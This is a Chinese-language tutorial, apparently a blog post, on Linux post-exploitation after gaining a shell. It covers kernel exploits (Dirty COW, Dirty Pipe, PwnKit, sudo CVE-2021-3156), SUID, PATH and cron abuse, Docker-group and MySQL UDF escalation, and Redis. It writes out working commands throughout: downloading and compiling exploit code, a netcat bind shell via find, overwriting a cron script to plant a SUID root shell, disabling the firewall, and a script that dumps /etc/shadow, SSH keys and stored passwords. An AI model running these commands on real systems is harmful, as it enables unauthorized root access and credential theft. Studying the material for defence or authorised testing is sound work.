Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的。本片文章将从拿到一个Linux shell开始,介绍Linux内网渗透技术,分为容器逃逸、Linux提权、Linux信息收集、Linux隧道技术、Linux横向移动、Linux权限维持、Linux痕迹清理几个部分。
容器逃逸
容器逃逸的应用主要是,拿到shell之后,发现是docker环境,要进一步渗透,就必须逃逸到宿主机。
容器逃逸方法见:
https://www.cnblogs.com/yokan/p/16049516.html
Linux提权
Linux提权大概可以分为下面几种:
系统内核提权;第三方服务提权;数据库提权;密码收集提权;键盘记录提权;Suid提权;Sudo提权;反弹shell提权。
提权辅助工具
GTFOBins
GTFOBins是一个精心策划的Unix二进制文件列表,可以用来绕过错误配置系统中的本地安全限制。该项目收集了Unix二进制文件的合法函数,这些函数可能被滥用,以打破受限制的shell,升级或维护提升的特权,传输文件,生成绑定和反向shell,并为其他事后利用任务提供便利。需要注意的是,这不是一个漏洞列表,这里列出的程序本身并不容易受到攻击,相反,GTFOBins是一个概要,说明当您只有某些二进制文件可用时,如何获得root权限。
BeRoot
https://github.com/AlessandroZ/BeRoot/tree/master/Linux
BeRoot用于检查Linux和Mac OS上常见的错误配置,以找到一种方法来升级我们的特权。检查项包括GTFOBins中的二进制文件、通配符错误、suid、环境变量、NFS、sudo等等,详细可以去上面链接看。
pspy
https://github.com/DominicBreuker/pspy
Pspy是一个命令行工具,用于在不需要root权限的情况下窥探进程。它允许您在其他用户运行的命令、cron任务等执行时查看它们。该工具通关循环遍历/proc下的值来获取进程参数信息。
traior
https://github.com/liamg/traitor
多个linux提权漏洞缝合怪。
Traitor 打包了一堆方法来利用本地错误配置和漏洞来自动提权:
- 几乎所有的GTFOBins
- 可写 docker.sock
- CVE-2022-0847(脏管)
- CVE-2021-4034 (pwnkit)
- CVE-2021-3560
0x00 基础信息收集
在说提权之前先介绍一下基本的信息收集命令,为后续的提权做准备。
1、内核,操作系统和设备信息
uname -a 打印所有可用的系统信息 uname -r 内核版本 uname -n 系统主机名。 uname -m 查看系统内核架构(64位/32位) hostname 系统主机名 lsb_release -a 发行版信息 cat /proc/version 内核信息 cat /etc/*-release 发行版信息 cat /etc/issue 发行版信息 cat /proc/cpuinfo CPU信息
2、用户和群组
cat /etc/passwd 列出系统上的所有用户 cat /etc/group 列出系统上的所有组 groups 当前用户所在的组 groups test test用户所在的组 getent group xxx xxx组里的用户 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户 whoami 查看当前用户 w 谁目前已登录,他们正在做什么 last 最后登录用户的列表 lastlog 所有用户上次登录的信息 lastlog –u %username% 有关指定用户上次登录的信息
3、用户和权限信息
whoami 当前用户名 id 当前用户信息 cat /etc/sudoers 谁被允许以root身份执行 sudo -l 当前用户可以以root身份执行操作
yokan用户可以以root身份执行任意操作
4、环境信息
env 显示环境变量 echo %PATH 路径信息 history 显示当前用户的历史命令记录 pwd 输出工作目录 cat /etc/profile 显示默认系统变量 cat /etc/shells 显示可用的shell
0x01 内核漏洞提权
提示:内核漏洞提权有风险,有可能会崩溃系统。
内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集,收集方法参考第一小节基础信息收集
即可。
大多内核漏洞通过内核版本能很快查到
SearchSploit
用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码
SearchSploit是一个Exploit-DB的命令行搜索工具,它还允许随身携带漏洞利用数据库的副本。
SearchSploit使用:
更新SearchSploit:
apt update && apt -y full-upgrade searchsploit -u
基本搜索语法:
只需添加您想要查找的任意数量的搜索词:
searchsploit linux 2.6 ubuntu priv esc Tip:如果你没有收到预期的结果,可以使用更通用的术语进行更广泛的搜索。如:Kernel 2.6.25 - >Kernel 2.6 / / Kernel 2.x。 Tip:不要使用缩写如:SQLi -> SQL Injection。
显示漏洞利用的完整路径:
-p, --path [EDB-ID] 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号
不建议在本地的漏洞数据库中修改exp
,建议使用-m
参数复制那些有用的到当前的工作目录:
-m, --mirror [EDB-ID] 把一个exp拷贝到当前工作目录,参数后加目标id
exp利用:
将exp上传到目标技巧,编译运行(编译方法,在源码的注释里有)
gcc 9545.c -o exp chmod 777 exp ./exp
当然,以上只是非常理想的情况,我们经常会遇到没有gcc的坑爹服务器。这时我们就需要在本地编译。本地编译时不止要看exp源码注释的编译参数,也需要手动调整一下编译的参数,比如给gcc 加-m 32来编译32位。编译问题繁多,有困难找谷歌。
最后强调利用内核漏洞的几个注意点:
1.读源码注释,有exp基本信息和编译方法,不然可能连编译都不会
2.读源码,不然费劲编译完才发现不适用
3.读源码,不然遇到一个删全盘的”exp“怎么办
脏牛漏洞(CVE-2016-5195)
漏洞原理:该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
影响范围:3.9>Linux kernel >=2.6.22 并且Android也受影响
利用脚本合集:PoCs · dirtycow/dirtycow.github.io Wiki
漏洞复现:
先查看一下系统版本信息
linux kernel版本2.6.32,应该可以用脏牛提权。下载脏牛提权脚本
这里使用dirty.c这个exp:
这个exp利用了dirtycow漏洞的pokemon漏洞 。会自动生成一个新的passwd行。 运行二进制文件时,会提示用户输入新密码。 原/etc/passwd文件会备份到/tmp/passwd.bak下 ,用生成的行覆盖根帐户。运行该漏洞后,你应该能够登录新创建的用户。 使用此漏洞可以根据您的需要修改用户值。 默认为“firefart”用户。
上传到目标系统tmp目录下
在/tmp目录下直接起一个命令行,然后编译运行脚本
此时切换到firefart用户,密码为123456
执行id命令后可以看到已经为root用户了,成功提权。
Dirty Pipe(CVE-2022-0847)
利用条件
5.8<=Linux kernel<5.16.11/5.15.25/5.10.102
EXP:
https://haxx.in/files/dirtypipez.c #原理为 直接修改一个具有suid权限的可执行文件,然后执行这个可执行文件提权,完成提权后再把文件改回来 or https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit #原理为 覆盖 /etc/passwd 中的 root 密码字段并在弹出 root shell 后恢复
利用:
wget https://haxx.in/files/dirtypipez.c gcc -o dirtypipez dirtypipez.c ./dirtypipez /usr/bin/su #任何具体suid权限的文件均可
0x02 SUID 提权
什么是suid?suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性——s标志。通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。需要注意的是,只有程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。
推荐阅读P神的这篇文章:https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
常见的可用来提权的Linux 可执行文件有:
Nmap, Vim, find, bash, more, less, nano, cp
查看可以suid 提权的可执行文件:
find / -perm -u=s -type f 2>/dev/null 或者 find / -user root -perm -4000 -print 2>/dev/null
下面列举几个常见的设置了SUID的应用程序提权手段:
- find
ls -al /usr/bin/find -rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
比如:DC -1 靶机就是利用find 命令进行root 用户来执行命令
大部分Linux 系统都安装了nc。使用如下命令即可成功得到root shell:
find / -type f -exec /bin/bash ; 或 find / -exec nc -lvp 5555 -e /bin/sh ; nc ip port
测试:
chomod u+s /usr/bin/find #chmod u+s 给某个程序的所有者suid权限。
- nmap
较旧版本的Nmap(2.02≤nmap<5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)
可以使用下命令进入namp交互模式
nmap --interactive
执行命令后会返回一个shell
nmap> !sh sh-3.2# whoami root
5.2.0 之后,nmap 还可以通过执行脚本来提权:
在某些发行版的Linux 可能会提权失败。具体原理移步p 师傅文章
# nse脚本 shell.nse os.execute('/bin/sh') # nmap 提权 nmap --script=shell.nse
或者
echo 'os.execute("/bin/sh")' > getshell sudo nmap --script=getshell
- vim
如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。
vim /etc/shadow
vim 运行shell
vim :set shell=/bin/sh :shell
同理,满足条件的 less 和 more 都可。
- awk
awk 'BEGIN {system("/bin/bash")}'
- strace
strace -o/dev/null /bin/bash
0x03 利用环境变量提权
利用关键在于找到具有SUID权限的文件,环境变量中有自己能控制的路径,比如当前目录(.)
详细文章参考:https://xz.aliyun.com/t/2767
PATH
是Linux 和 Unix 操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。
使用echo命令显示当前PATH环境变量:
测试:
环境配置:
现在我们的当前目录是/home/yokan,我们将在当前目录下创建一个srcipt目录。然后cd到script目录中,编写一个简单的c程序来调用系统二进制文件的函数。
pwd mkdir script cd /script nano demo.c
demo.c文件内容如下图,你可以看到,我们调用了ps命令,即系统二进制文件:
然后使用gcc命令编译demo.c文件并且赋予编译文件SUID权限,命令如下:
gcc demo.c -o shell #需要以root权限编译 chmod u+s shell ls -la shell
攻击利用:
首先,你需要先入侵靶机系统并且进入到提权阶段。假设你已经通过ssh成功登录到了靶机上,二话不说,我们直接使用find命令来搜索具有SUID或4000权限的文件。
find / -perm -u=s -type f 2>/dev/null
通过执行上述命令,攻击者可以遍历任何可执行文件,在这里我们可以看到/home/yokan/script目录下的shell文件具有SUID权限,如图:
于是我们cd到/home/yokan/script/目录下,ls一下,看到了名为shell的可执行文件。我们运行一下这个文件,可以看到shell文件尝试执行ps命令,这个命令是/bin目录下的用来查看进程状态的真实文件。
ls ./shell
提权:
echo命令
cd /tmp echo “/bin/bash” > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /home/yokan/script ./shell whoami
其他更多的方法参考上面的文章。
0x04 利用第三方服务提权
当一些第三方服务,以root身份运行, 我们通过它拿到的shell就是root权限。
netstat -antup
该命令可以显示所有打开并正在监听的端口,我们可以通过此命令检查是否有可以利用的本地服务
ps -aux | grep root
该命令可以显示以root用户身份运行的服务
Docker 组提权
docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker
组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。
docker组内用户执行如下命令,即可获得root权限
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease #参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS 这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。
测试:
创建了个用户dockertest
加入了docker组,然后执行如下命令,获得root权限
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
MySQL UDF 提权
先查看 secure_file_priv
的值是否为空,因为只有为空我们才能继续下面的提权步骤
提权步骤:
- 获取udf代码
sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can‘t open shared library ‘udf.dll‘。 sqlmapudfmysqlwindows32目录下存放着lib_mysqludf_sys.dll_ sqlmapudfmysqlwindows64目录下为64位的lib_mysqludf_sys.dll_ 但是sqlmap 中 自带 的shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用的。 可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmapextracloakcloak 目录下,执行命令: cloak.py -d -i D:sqlmapudfmysqlwindows32lib_mysqludf_sys.dll_ sqlmap中的udf文件提供的函数: sys_eval,执行任意命令,并将输出返回。 sys_exec,执行任意命令,并将退出码返回。 sys_get,获取一个环境变量。 sys_set,创建或修改一个环境变量。
- 将udf文件上传到指定位置
MySQL<5.0,导出路径随意; 5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/) MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的libplugin文件夹下才能创建自定义函数。 select @@basedir; #查看mysql安装目录 select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录 select 0xUDFcode into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin\udf.dll'; #导出udfcode,注意修改udfcode
- 从udf文件中引入自定义函数
create function sys_eval returns string soname 'udf.dll'; //sys_eval是函数名称(可选shell,sys_exec,sys_eval),udf.dll是lib_mysqludf_sys.dll_上传后的文件名
- 执行命令
select * from mysql.func where name = 'sys_eval'; #查看创建的sys_eval函数 select sys_eval('whoami'); #使用系统命令
- 痕迹清除
drop function sys_eval; #删除函数 delete from mysql.func where name='sys_eval' #删除函数
redis提权
如果Redis以root身份运行,黑客可以利用Redis写入SSH公钥文件,直接通过SSH免密码登录受害服务器。Redis 默认绑定在6379端口,并且没有开启认证,在没有任何访问策略的情况下,任何人可以直接在非授权情况下直接访问Redis服务并进行相关操作。
详细参考《Redis基础与简单利用.docx》
0x05 Sudo提权
一旦攻击者有权访问任何SUDO用户,那么他基本上就可以使用root权限执行任何命令。管理员可能只允许用户通过SUDO运行一些命令,但绝对不是所有命令,即使是使用这样的配置,他们也可能会在不知情的情况下引入漏洞,从而导致权限提升的风险。
无密码:
sudo -l
打印允许作为SUDO运行的命令
假如我们被允许以sudo运行find、cat、vi、more、less、nmap、perl、ruby、gdb、python
等任何编程语言编译器、解释器和编辑器,那么我们就可以通过这些命令,获得root权限。
实际环境中不一定会这么明显显示可用命令,某些配置也是可以使用这几个命令的,如果对sudo机制不熟悉,可以直接使用sudo+命令 测试是否可用。
例如 vi
命令:
进入底线命令模式,输入:!/bin/bash,即可打开一个用户为root的shell
sudo vi test.txt :!/bin/bash
有密码:
如果知道sudo组用户的密码,可以直接sudo -i
提权。
sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。
补充:
直接在低权shell里面用sudo是不奏效的,这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。
python就有这样的功能。在shell里面输入:
python -c 'import pty;pty.spawn("/bin/sh")'
就用python建立了一个虚拟终端,然后就可以使用sudo等等命令了。
Linux sudo权限提升漏洞(CVE-2021-3156)
非常好用
概述
当sudo通过 -s 或 -i 命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用 -s 或 -i 标志运行 sudoedit 时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。
影响版本
sudo 1.8.2 - 1.8.31p2
sudo 1.9.0 - 1.9.5p1
查看sudo版本
命令:sudo --version
POC
https://github.com/worawit/CVE-2021-3156
复现
sudo --version
python exploit_defaults_mailer.py /tmp/sshell
0x06 文件权限配置不当
当某个进程启动权限为ROOT,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权。
pspy(https://github.com/DominicBreuker/pspy)工具提供了普通用户权限即可监听进程信息
测试环境:
首先我们创建一个while循环,并使用ROOT用户循环执行/tmp/1.sh。
利用:
我们获取普通用户权限时,利用pspy可以监控到ROOT用户在持续执行/tmp/1.sh:
尝试查看/tmp/1.sh文件内容和权限,发现我们当前用户具备读写权限:
我们尝试替换文件内容,查看是否会以ROOT权限启动其中命令:
发现成功提权,以ROOT权限启动自定义命令:
0x07 计划任务配置不当
Cron任务常常以root权限运行。如果我们可以成功篡改Cron任务中定义的任何脚本或二进制文件,我们便可以使用root权限执行任意代码。
查看计划任务的方法:
crontab -l ls -alh /var/spool/cron cat /etc/cron*
举例:
ls -la /etc/cron.d
打印cron.d中已经存在的Cron任务。
find / -perm -2 -type f 2>/dev/null
打印全局可写入文件
cron-logrotate.sh是全局可写入的,它由cronjob运行。我们在cron-logrotate.sh中写入/添加的任何命令都会以root身份执行
我们在/tmp目录下编写一个C文件,并对其进行编译:
rootme可执行文件会产生一个Shell。ls -la rootme
说明该文件由用户SHayslett拥有。
然后执行下面命令,将可执行文件的所有者和分组修改为root,同时也会设置SUID位:
echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;">/usr/local/sbin/cron-logrotate.sh
待logrotate Cron任务以root权限运行后,
运行./rootme
产生一个root Shell
Linux Polkit权限提升漏洞(CVE-2021-4034)
漏洞描述:该漏洞是由于pkexec无法正确处理调用参数,从而将环境变量作为命令执行,具有任意用户权限的攻击者都可以在默认配置下通过修改环境变量来利用此漏洞,从而获得受影响主机的root权限。
受影响linux:
2009年5月至 2022 年1月26日发布的所有 Polkit 版本
Polkit预装在CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia等多个Linux发行版上,所有存在该版本范围Polkit的Linux系统均受影响。
受影响国产化操作系统:
银河麒麟高级服务器操作系统 V10
银河麒麟高级服务器操作系统 V10 SP1
银河麒麟高级服务器操作系统 V10 SP2
统信 UOS 服务器操作系统 V20
银河麒麟桌面版操作系统 V10
银河麒麟桌面版操作系统 V10 SP1
统信 UOS 桌面版操作系统 V20
中标麒麟桌面版操作系统 V7.0
版本检测:
Linux系统用户可以通过查看Polkit版本来判断当前系统是否在受影响范围内,主流Linux发行版命令如下:
CentOS、RedHat 系列:
rpm -qa polkit
Debian、Ubuntu 系列:
dpkg -l policykit-1
不受影响版本
CentOS:
CentOS 6:polkit-0.96-11.el6_10.2 CentOS 7:polkit-0.112-26.el7_9.1 CentOS 8.0:polkit-0.115-13.el8_5.1 CentOS 8.2:polkit-0.115-11.el8_2.2 CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1 Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1 Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6 Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2 Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:
Debain stretch:policykit-1 0.105-18+deb9u2 Debain buster:policykit-1 0.105-25+deb10u1 Debain bullseye:policykit-1 0.105-31+deb11u1 Debain bookworm,bullseye:policykit-1 0.105-31.1
漏洞复现:
CentOS环境
利用:
exp网上很多。也很稳定。也算是个”神洞“了。
Linux信息收集
本机基本信息
#管理员 $普通用户 @之前表示登录的用户名称,之后表示主机名,再之后表示当前所在目录 / 表示根目录 ~表示当前用户家目录
1、内核,操作系统和设备信息
uname -a 打印所有可用的系统信息 uname -r 内核版本 uname -n 系统主机名。 uname -m 查看系统内核架构(64位/32位) hostname 系统主机名 lsb_release -a 发行版信息 cat /proc/version 内核信息 cat /etc/*-release 发行版信息 cat /etc/issue 发行版信息 cat /proc/cpuinfo CPU信息
2、用户和群组
cat /etc/passwd 列出系统上的所有用户 cat /etc/shadow 查看用户Hash cat /etc/group 列出系统上的所有组 groups 当前用户所在的组 groups test test用户所在的组 getent group xxx xxx组里的用户 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户 awk -F: 'length($2)==0 {print $1}' /etc/shadow #查看是否存在空口令用户 awk '/$1|$6/{print $1}' /etc/shadow #查看远程登录的账号 whoami 查看当前用户 w 谁目前已登录,他们正在做什么 who 命令用于显示系统中有哪些使用者正在上面 last 最后登录用户的列表 lastlog 所有用户上次登录的信息 lastlog –u %username% 有关指定用户上次登录的信息
3、用户和权限信息
whoami 当前用户名 id 当前用户信息 cat /etc/sudoers 可以使用sudo提升到root的用户 sudo -l 当前用户可以以root身份执行操作
yokan用户可以以root身份执行任意操作
4、环境信息
env 显示所有的环境变量 set 显示本地环境变量 echo $PATH 环境变量中的路径信息 export [-fnp][变量名称]=[变量设置值] 显示和设置环境变量 pwd 输出工作目录 cat /etc/profile 显示默认系统变量 cat /etc/shells 显示可用的shell ls -la /etc/*.conf 查看etc下所有配置文件
5、历史命令
显示当前用户的历史命令记录
history cat ~/.bash_history # 查看其他用户的历史命令文件 cat /home/user/.bash_history
history显示内存和~/.bash_history中的所有内容;
内存中的内容并没有立刻写入~/.bash_history,只有当当前shell关闭时才会将内存内容写入shell
6、进程信息
ps aux 以用户的格式显示所有进程,包括非终端的进程 ps -ef 显示所有进程,显示UID,PPIP(父进程),C与STIME栏位 ps -ef | grep java 查询某个应用的所有进程信息 top 实时显示占用最多的进程
如果想查看进程的CPU占用率和内存占用率,可以使用
aux
如果想查看进程的父进程ID和完整的COMMAND命令,可以使用
-ef
lsof -c $PID 查看进程关联文件 /proc/$PID/cmdline 完整命令行信息 /proc/$PID/comm 进程的命令名 /proc/$PID/cwd 进程当前工作目录的符号链接 /proc/$PID/exe 运行程序的符号链接 /proc/$PID/environ 进程的环境变量 /proc/$PID/fd 进程打开文件的情况
7、服务信息
cat /etc/services 查询存在的服务 cat /etc/services | grep Java 查询对应的服务 systemctl list-units --type=service --state=running 查询已经开启的服务
8、计划任务
在Linux系统中,计划任务一般是由cron承担。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。
/var/spool/cron/crontabs :这个目录以账号来区分每个用户自己的执行计划 /etc/crontab :系统执行计划,需要在后边加上用户格式
所有计划任务项: /var/spool/cron/* /var/spool/anacron/* /etc/crontab /etc/anacrontab /etc/cron.* /etc/anacrontab
crontab -l 查询当前用户所有的计划任务 crontab -l -u user 查询指定用户的计划任务 cat /var/spool/cron/crontabs/root 查询root用户的计划任务
9、网络、路由和通信
查询ip
ifconfig ip addr
打印路由信息
route 查询路由表 route -n 查询路由表,以ip地址显示 netstat -r 查询路由表 ip ro
查看系统arp表
arp -a
端口开放情况
netstat -antup 所有端口 netstat -antp tcp端口 netstat -anup udp端口
查看端口服务映射
cat /etc/services
列出iptables的配置规则
iptables -L
显示网卡信息
netstat -i
dns信息
cat /etc/resolv.conf 查看dns配置信息 dnsdomainname -V 打印DNS系统中FQDN名称中的域名 cat /etc/hosts 查看hosts域名解析文件
10、已安装应用
rpm -qa --last #Redhat、CentOS rpm -qa polkit #查看指定应用的安装版本 dpkg -l #ubuntu、debian dpkg -l policykit-1 #查看指定应用的安装版本 dpkg -L xxx #查询某个软件所关联的文件
11、查找能写或执行的目录
find / -writable -type d 2>/dev/null find / -perm -o+w -type d 2>/dev/null find / -perm -o+x -type d 2>/dev/null
12、防火墙
iptables -L 查看防火墙配置 查看防火墙状态: systemctl status firewalld service iptables status 暂时关闭防火墙: systemctl stop firewalld service iptables stop 永久关闭防火墙: systemctl disable firewalld chkconfig iptables off 重启防火墙: systemctl enable firewalld service iptables restart
13、敏感文件
find命令 -o参数 表示 或者 的意思
find / -type f -iname "*.bash_history" -o -iname "*config*" -o -iname "web.xml" -o -iname "*database*" -o -iname "*pass*" 2>/dev/null
查找SSH密钥:
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls
Web应用服务
常见配置文件路径:
/apache/apache/conf/httpd.conf /apache/apache2/conf/httpd.conf /apache/php/php.ini /bin/php.ini /etc/apache/apache.conf /etc/apache/httpd.conf /etc/apache2/apache.conf /etc/apache2/httpd.conf /etc/apache2/sites-available/default /etc/apache2/vhosts.d/00_default_vhost.conf /etc/httpd/conf.d/httpd.conf /etc/httpd/conf.d/php.conf /etc/httpd/conf/httpd.conf /etc/httpd/php.ini /etc/init.d/httpd /etc/php.ini /etc/php/apache/php.ini /etc/php/apache2/php.ini /etc/php/cgi/php.ini /etc/php/php.ini /etc/php/php4/php.ini /etc/php4.4/fcgi/php.ini /etc/php4/apache/php.ini /etc/php4/apache2/php.ini /etc/php4/cgi/php.ini /etc/php5/apache/php.ini /etc/php5/apache2/php.ini /etc/php5/cgi/php.ini /etc/phpmyadmin/config.inc.php /home/apache/conf/httpd.conf /home/apache2/conf/httpd.conf /home/bin/stable/apache/php.ini /home2/bin/stable/apache/php.ini /NetServer/bin/stable/apache/php.ini /opt/www/conf/httpd.conf /opt/xampp/etc/php.ini /PHP/php.ini /php/php.ini /php4/php.ini /php5/php.ini /usr/lib/php.ini /etc/nginx/nginx.conf /usr/lib/php/php.ini /usr/local/apache/conf/httpd.conf /usr/local/apache/conf/php.ini /usr/local/apache2/conf/httpd.conf /usr/local/apache2/conf/php.ini /usr/local/etc/php.ini /usr/local/httpd/conf/httpd.conf /usr/local/lib/php.ini /usr/local/php/lib/php.ini /usr/local/php4/lib/php.ini /usr/local/php4/lib/php.ini /usr/local/php4/php.ini /usr/local/php5/etc/php.ini /usr/local/php5/lib/php.ini /usr/local/php5/php5.ini /usr/local/share/examples/php/php.ini /usr/local/share/examples/php4/php.ini /usr/local/Zend/etc/php.ini /var/apache2/config.inc /var/httpd/conf/httpd.conf /var/httpd/conf/php.ini /var/httpd/conf/php.ini /var/local/www/conf/httpd.conf /var/local/www/conf/php.ini /var/www/conf/httpd.conf /web/conf/php.ini /www/conf/httpd.conf /www/php/php.ini /www/php4/php.ini /www/php5/php.ini /xampp/apache/bin/php.ini /xampp/apache/conf/httpd.conf
数据库
/etc/init.d/mysql /etc/my.cnf /etc/mysql/my.cnf /etc/mysql/my.cnf /var/lib/mysql/my.cnf /var/lib/mysql/mysql/user.MYD /usr/local/mysql/bin/mysql /usr/local/mysql/my.cnf /usr/share/mysql/my.cnf
自动化脚本
linux_info.sh
#!/bin/bash #输出文件 filename=$(date +%s)'.log' echo "信息收集" echo -e "n" | tee -a $filename echo "账户信息收集" | tee -a $filename cat /etc/passwd | tee -a $filename echo -e "n" | tee -a $filename echo "shadow" | tee -a $filename cat /etc/shadow | tee -a $filename echo -e "n" | tee -a $filename echo "进程信息收集" | tee -a $filename ps aux | tee -a $filename echo -e "n" | tee -a $filename echo "网络连接" | tee -a $filename netstat -antlp | tee -a $filename echo -e "n" | tee -a $filename echo "当前用户:" $(whoami) 2>/dev/null | tee -a $filename echo -e "n" | tee -a $filename echo "端口监听" | tee -a $filename netstat -lnpt | tee -a $filename echo -e "n" | tee -a $filename echo "可登陆用户" | tee -a $filename cat /etc/passwd | grep -E -v 'nologin$|false' | tee -a $filename echo -e "n" | tee -a $filename echo "增加用户的日志" | tee -a $filename grep "useradd" /var/log/secure | tee -a $filename echo -e "n" | tee -a $filename echo "History操作提取" | tee -a $filename cat ~/.*history | tee -a $filename echo -e "n" | tee -a $filename echo "登录成功的IP" | tee -a $filename grep "Accepted " /var/log/secure* | awk '{print $11}' | sort | uniq -c | sort -nr | more | tee -a $filename echo -e "n" | tee -a $filename echo "查看路由表" | tee -a $filename route -n | tee -a $filename echo -e "n" | tee -a $filename echo "查看 SSH key" | tee -a $filename sshkey=${HOME}/.ssh/authorized_keys if [ -e "${sshkey}" ]; then cat ${sshkey} | tee -a $filename else echo -e "SSH key文件不存在n" | tee -a $filename fi echo -e "n" | tee -a $filename echo "查看 known_hosts" | tee -a $filename cat ~/.ssh/known_hosts | tee -a $filename echo -e "n" | tee -a $filename echo "查找WEB-INF" | tee -a $filename find / -name *.properties 2>/dev/null | grep WEB-INF | tee -a $filename echo -e "n" | tee -a $filename echo "user|pass|pwd|uname|login|db_" | tee -a $filename find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" | tee -a $filename echo -e "n" | tee -a $filename echo "jdbc:|pass=|passwd=" | tee -a $filename find / -regex ".*.properties|.*.conf|.*.config|.*.sh" | xargs grep -E "=jdbc:|pass=|passwd=" | tee -a $filename echo -e "n" | tee -a $filename # Author cances echo "ip和网卡信息" | tee -a $filename ip a | awk '{print $2,$4}' | tee -a $filename echo -e "n" | tee -a $filename echo "可登陆用户" | tee -a $filename cat /etc/passwd | grep -E -v 'sync$|halt$|nologin$|false|shutdown' | tee -a $filename echo -e "n" | tee -a $filename echo "用户登陆日志" | tee -a $filename lastlog | tee -a $filename echo -e "n" | tee -a $filename echo "查看 hosts" | tee -a $filename cat /etc/hosts | tee -a $filename echo -e "n" | tee -a $filename echo "查看 系统版本" | tee -a $filename cat /etc/*-release | tee -a $filename echo -e "n" | tee -a $filename echo "查看 内核版本" | tee -a $filename uname -mrs | tee -a $filename
Linux隧道技术
Linux内网渗透用到的隧道技术和Windows内网渗透大差不差。
详细见《代理、转发及隧道隐藏》文章
Linux横向移动
主机存活探测
shell
for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done 或者 for k in $( seq 1 255);do ping -c 1 192.168.1.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
arpscan
git clone https://github.com/attackdebris/arpscan.git make chmod +x arpscan ./arpscan
nbtscan Linux版
wget http://unixwiz.net/tools/nbtscan-source-1.0.35.tgz tar -xzvf nbtscan-source-1.0.35.tgz make nbtscan -h
端口扫描
就正常端口扫描,没什么好说的。针对高危端口,按照渗透测试流程进行渗透,这里就不具体展开了。
常用比如Ladon、fscan等等
